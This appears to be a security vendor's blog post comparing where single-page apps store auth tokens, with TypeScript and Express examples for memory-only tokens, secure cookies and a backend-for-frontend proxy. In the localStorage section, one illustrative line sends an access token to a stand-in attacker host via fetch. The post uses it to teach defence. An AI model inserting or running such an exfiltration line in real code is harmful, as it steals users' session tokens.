Frontend auth patterns: where to store tokens and why every option has a tradeoff

Every frontend authentication pattern has a vulnerability. The debate about localStorage vs HttpOnly cookies vs memory-only storage has been ongoing for years, and the framing is often wrong — different patterns protect against different threat models, and none of them protects against everything. Understanding what each storage mechanism is and is not vulnerable to lets you choose the right one for your threat model.

localStorage: XSS exposure

localStorage is the most commonly used and most often criticized token storage mechanism. Any JavaScript running on the page has full access to localStorage — including third-party scripts (analytics, support widgets, A/B testing frameworks), browser extensions, and any XSS payload. If your application has an XSS vulnerability, any token in localStorage can be exfiltrated.

The argument for localStorage is that it survives page refresh and browser tab restarts without requiring a server round-trip. The argument against it is that the XSS attack surface is large — any third-party script your application loads is a potential vector, and the average SPA loads dozens of third-party dependencies.

// What XSS exfiltration looks like with localStorage
// An injected script can do this:
fetch('https://attacker.com/steal?token=' + localStorage.getItem('access_token'));

// localStorage tokens are also accessible from browser extensions
// and other tabs on the same origin

sessionStorage: still XSS-exposed

sessionStorage has the same XSS exposure as localStorage — JavaScript on the page can read it. The only difference is that it is cleared when the tab closes, and it is not shared between tabs. This is a minor security improvement (tokens do not persist across browsing sessions) but the XSS vulnerability is identical.

Memory-only (JavaScript variable)

Storing the access token in a JavaScript variable that is never persisted to any browser storage solves the cross-tab and cross-session access problems. An XSS attack that runs in the current page context can still read the in-memory token, but a cross-tab script cannot. Browser extensions running in a separate JavaScript context cannot read it.

The drawback: the token is lost on page refresh. The solution is to use a refresh token stored in an HttpOnly cookie to silently obtain a new access token. This is the "silent refresh" pattern.

// Memory-only access token management
class TokenManager {
  private accessToken: string | null = null;
  private accessTokenExpiry: number = 0;

  setAccessToken(token: string, expiresIn: number) {
    this.accessToken = token;
    this.accessTokenExpiry = Date.now() + (expiresIn - 30) * 1000;  // 30s buffer
  }

  async getAccessToken(): Promise<string> {
    if (this.accessToken && Date.now() < this.accessTokenExpiry) {
      return this.accessToken;
    }

    // Access token expired or missing — silently refresh
    return this.silentRefresh();
  }

  private async silentRefresh(): Promise<string> {
    // Refresh token is in an HttpOnly cookie — not accessible to JS
    // The server reads it and issues a new access token
    const response = await fetch('/auth/refresh', {
      method: 'POST',
      credentials: 'include'  // sends the HttpOnly cookie
    });

    if (!response.ok) {
      throw new AuthError('session_expired');
    }

    const { access_token, expires_in } = await response.json();
    this.setAccessToken(access_token, expires_in);
    return access_token;
  }

  clearTokens() {
    this.accessToken = null;
    this.accessTokenExpiry = 0;
    // Server endpoint to clear the HttpOnly refresh cookie
    fetch('/auth/logout', { method: 'POST', credentials: 'include' });
  }
}

HttpOnly cookies

An HttpOnly cookie is set by the server and cannot be read or modified by JavaScript. XSS attacks cannot exfiltrate it directly. The browser automatically attaches it to same-origin requests. For an API on the same domain as the frontend, this is a strong option.

The vulnerability is CSRF. An attacker who tricks a user into visiting a malicious page can cause the browser to make requests to your API with the user's cookies. Mitigate this with CSRF tokens or the SameSite=Strict cookie attribute, which prevents the browser from sending the cookie on cross-site requests entirely.

// Server: setting auth cookies securely
res.cookie('access_token', token, {
  httpOnly: true,         // JS cannot read
  secure: true,           // HTTPS only
  sameSite: 'strict',     // CSRF protection
  maxAge: 900 * 1000,     // 15 minutes in ms
  path: '/api'            // scoped to API path
});

res.cookie('refresh_token', refreshToken, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',
  maxAge: 30 * 24 * 3600 * 1000,  // 30 days
  path: '/auth/refresh'  // only sent to the refresh endpoint
});

BFF (Backend For Frontend) pattern

The BFF pattern is the highest-security option for SPAs. A server-side component (the BFF) handles the entire OAuth flow and manages tokens. The frontend never receives tokens — it makes API calls to the BFF, which attaches the appropriate auth credentials before forwarding to backend services. The browser's session is maintained via a session cookie with the BFF, not an OAuth token.

// BFF: handles OAuth and forwards authenticated requests
app.get('/api/*', requireSession, async (req, res) => {
  const session = req.session;

  // BFF holds the access token server-side
  let accessToken = session.access_token;

  // Refresh if needed
  if (isTokenExpired(session.access_token_expiry)) {
    const refreshed = await refreshAccessToken(session.refresh_token);
    accessToken = refreshed.access_token;
    session.access_token = refreshed.access_token;
    session.access_token_expiry = Date.now() + refreshed.expires_in * 1000;
  }

  // Forward request to backend with access token
  const backendResponse = await fetch(`${BACKEND_URL}${req.path}`, {
    method: req.method,
    headers: {
      ...req.headers,
      'Authorization': `Bearer ${accessToken}`,
      'X-User-ID': session.user_id  // enriched identity
    },
    body: req.method !== 'GET' ? req : undefined
  });

  // Forward response to browser
  res.status(backendResponse.status);
  backendResponse.body?.pipeTo(
    new WritableStream({ write: (chunk) => res.write(chunk) })
  );
});
The BFF pattern trades off complexity for security. You need to run and scale a server-side component that handles session state, which reintroduces the stateful session management that JWTs were meant to avoid. For high-security applications where XSS risk from third-party scripts is a concern, or for regulated industries, the security benefit justifies the operational overhead.

Choosing the right pattern

For most SPAs: memory-only access tokens with an HttpOnly refresh token cookie is the pragmatic choice. It eliminates the localStorage XSS exfiltration risk while maintaining a good user experience (silent refresh on page load). For applications with strict security requirements or that serve many third-party scripts: implement the BFF pattern to keep tokens entirely off the browser. For simple applications where XSS is carefully controlled and CSRF is mitigated: HttpOnly cookies for the access token with SameSite=Strict is the simplest option that is good enough.

← Back to blog Try Bastionary free →